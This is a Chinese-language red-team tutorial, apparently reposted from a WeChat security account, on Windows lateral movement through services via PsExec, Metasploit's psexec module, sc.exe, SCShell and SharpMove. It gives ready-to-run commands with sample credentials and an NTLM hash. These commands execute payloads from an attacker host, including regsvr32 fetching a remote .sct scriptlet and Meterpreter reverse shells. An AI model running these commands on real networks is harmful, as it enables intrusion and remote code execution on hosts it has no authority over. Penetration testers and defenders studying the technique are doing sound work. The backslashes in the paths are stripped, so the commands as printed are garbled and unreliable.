横向移动 - 服务

admin 2023年7月31日01:06:55评论13 views字数 3312阅读11分2秒阅读模式



横向移动 – 服务

过去通常使用具有提升权限的服务作为权限升级或持久性的方法。然而,服务可以用于横向移动,因为本地管理员有权创建/重新启动服务并修改二进制路径。PsExec 是第一个使用服务实现横向移动的方法,因为它是一个值得信赖的 Microsoft 实用程序,可以推送任意文件并注册一个服务,该服务将在目标主机上执行该文件,从而允许威胁行为者建立访问权限。


以下命令将创建一个托管任意负载的 SMB 服务器。

impacket-smbserver pentestlab /msbuild -smb2support

横向移动 – 服务

运行 PsExec 将使用目标主机上的本地管理员凭据进行身份验证,并将从 UNC 路径执行有效负载“ pentestlab.exe ”。结果,Meterpreter 会话将打开。

PsExec64.exe \PC1 -u pentestlab -p Password123 cmd.exe /c \10.0.0.21pentestlabpentestlab.exe

横向移动 – 服务

横向移动 – PsExec

横向移动 – 服务

通过 PsExec 的 Meterpreter

Metasploit Framework 有一个模块可以通过类似于 PsExec 的 SMB 横向移动来执行。该模块需要纯文本形式的管理员密码或管理员哈希值。

use exploit/windows/smb/psexecset payload windows/x64/meterpreter/reverse_tcpset LPORT <Local Port>set LHOST <Local IP>set SMBUSER <local admin username>set SMBPASS <local admin password>exploit

横向移动 – 服务

Metasploit – PsExec 模块

基于 PowerShell 的有效负载将在目标上执行,并建立一个新会话。

横向移动 – 服务

Metasploit – PsExec Meterpreter

然而,这两种方法都非常嘈杂,即使可以在红队场景中的渗透测试中使用,也应该避免。使用 PsExec 进行横向移动是高度可检测的,因为将在系统上创建新服务,并且成熟的安全运营中心 (SOC) 应该已经发出警报。

横向移动 – 服务

PsExec – 服务

服务控制 (SC.exe) 是一个 Microsoft 实用程序,管理员可以使用它在 Windows 环境中创建、修改、删除、启动和停止服务。与需要删除到磁盘的 PsExec 相比,该实用程序是 Windows 的一部分,可以直接滥用来创建将执行无文件有效负载的新服务。

sc \PC1 create pentestlab binpath= "C:WindowsSystem32regsvr32.exe /s /n /u /i:http://10.0.0.21:8080/pentestlab.sct scrobj.dll"sc \PC1 start pentestlab

横向移动 – 服务

横向运动 – SC

横向移动 – 服务

Meterpreter – SC

Mr.Un1k0d3r在他的工具SCShell中实现了一种使用服务进行横向移动的新方法。.NET版本使用“ OpenSCManager ”API,根据Microsoft文档,该API使用远程过程调用,它不会创建新服务,因为它依赖于对现有服务的二进制路径的修改,并且可以与无文件一起使用使用 regsvr32 方法加载有效负载。

[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]     public static extern IntPtr OpenSCManager(         string lpMachineName,          string lpDatabaseName,          uint dwDesiredAccess);

与上述现有技术相比,这为通过服务进行横向移动引入了一种新的更隐蔽的方法,更加安全。

SCShell.exe 10.0.0.11 XblAuthManager "C:windowssystem32cmd.exe /c C:windowssystem32regsvr32.exe /s /n /u /i:http://10.0.0.21:8080/pentestlab.sct scrobj.dll" . pentestlab Password123

横向移动 – 服务

横向移动 – SCShell

横向移动 – 服务

横向移动 – SCShell Meterpreter

“ SCShell ”的 python 实现使用“ DCERPC ”而不是 SMB 进行身份验证,并且可以从非域加入的系统执行。

def run(        self,        remoteName,        remoteHost,        serviceName,        noCmd,        ):        exitCli = False        stringBinding = epm.hept_map(remoteName, scmr.MSRPC_UUID_SCMR, protocol='ncacn_ip_tcp')        rpctransport = transport.DCERPCTransportFactory(stringBinding)        logging.debug('binding to %s' % stringBinding)        rpctransport.set_credentials(
python3 scshell.py pentestlaboratories/pentestlab@10.0.0.11 -hashes aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71C:windowssystem32cmd.exe /c C:windowssystem32regsvr32.exe /s /n /u /i:http://10.0.0.21:8080/pentestlab.sct scrobj.dll

横向移动 – 服务

横向移动 – SCShell Python

另一种选择是使用 WMI 对目标主机进行身份验证,以便修改SharpMove中实现的现有服务。

static ManagementScope WMIConnect(string host, string username, string password) {  string wmiNameSpace = "root\CIMv2";  ConnectionOptions options = new ConnectionOptions();  Console.WriteLine("rn  Host                           : {0}", host);  if (!String.IsNullOrEmpty(username))  {     Console.WriteLine("[+]  User credentials               : {0}", username);     options.Username = username;     options.Password = password;  }

以下命令将通过类似于“ SCShell ”工具修改现有服务,从目标主机上的 UNC 路径执行任意有效负载。

SharpMove.exe action=modsvc computername=PC1 command="cmd.exe /c \10.0.0.21pentestlabpentestlab.exe" amsi=true servicename=pentestlab username=pentestlab password=Password123

横向移动 – 服务

横向运动 – SharpMove

横向移动 – 服务

横向运动 – SharpMove Meterpreter

总体而言,通过服务进行的横向移动已从 SMB 协议过渡到 RPC 和 WMI。现代工具尝试修改有效服务的二进制路径并执行无文件有效负载以横向移动,从而使红队能够在其工作中继续使用此技术,并让 SOC 团队了解监控网络上的远程过程调用以识别此类攻击。


参考

https://attack.mitre.org/techniques/T1021/002/

https://github.com/0xthirteen/SharpMove

https://github.com/Mr-Un1k0d3r/SCShell




感谢您抽出

横向移动 - 服务

.

横向移动 - 服务

.

横向移动 - 服务

来阅读本文

横向移动 – 服务

点它,分享点赞在看都在这里


原文始发于微信公众号(Ots安全):横向移动 – 服务

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月31日01:06:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   横向移动 - 服务https://cn-sec.com/archives/1917579.html

发表评论

匿名网友 填写信息